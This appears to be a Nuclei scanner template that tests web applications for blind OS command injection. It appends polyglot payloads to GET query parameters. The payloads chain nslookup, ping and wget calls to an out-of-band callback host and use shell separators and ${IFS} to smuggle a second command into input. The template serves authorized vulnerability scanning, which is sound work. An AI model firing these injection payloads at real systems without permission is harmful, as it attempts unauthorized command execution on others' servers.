id: cmdi-blind-oast-polyglot

info:
  name: Blind OS Command Injection
  author: pdteam,geeknik
  severity: high
  description: |
      Potential blind OS command injection vulnerabilities, where the application constructs OS commands using unsanitized user input.
      Successful exploitation could lead to arbitrary command execution on the system.
  reference:
    - https://portswigger.net/research/hunting-asynchronous-vulnerabilities
    - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Command%20Injection/README.md
  tags: cmdi,oast,dast,blind,polyglot

variables:
  marker: "{{interactsh-url}}"

http:
  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'

    payloads:
      payload:
        - "&nslookup {{marker}}&'\\\"`0&nslookup {{marker}}&`'"
        - "1;nslookup${IFS}{{marker}};#${IFS}';nslookup${IFS}{{marker}};#${IFS}\";nslookup${IFS}{{marker}};#${IFS}"
        - "/*$(nslookup {{marker}})`nslookup {{marker}}``*/-nslookup({{marker}})-'/*$(nslookup {{marker}})`nslookup {{marker}}` #*/-nslookup({{marker}})||'\"||nslookup({{marker}})||\"/*`*/"
        - "$(ping -c 1 {{marker}} | nslookup {{marker}} ; wget {{marker}} -O /dev/null)"

    fuzzing:
      - part: query
        type: postfix
        fuzz:
          - "{{payload}}"

    stop-at-first-match: true
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: interactsh_protocol
        words:
          - "http"
# digest: 490a00463044022058dacdd25a0687edf873bcfed32eb383e77deb0e9ea9673e111501121429df2702202005d54354bf6a06cd873145dea3139f0b094a3baad9e7313fd9d65ef7b31876:922c64590222798bb761d5b6d8e72950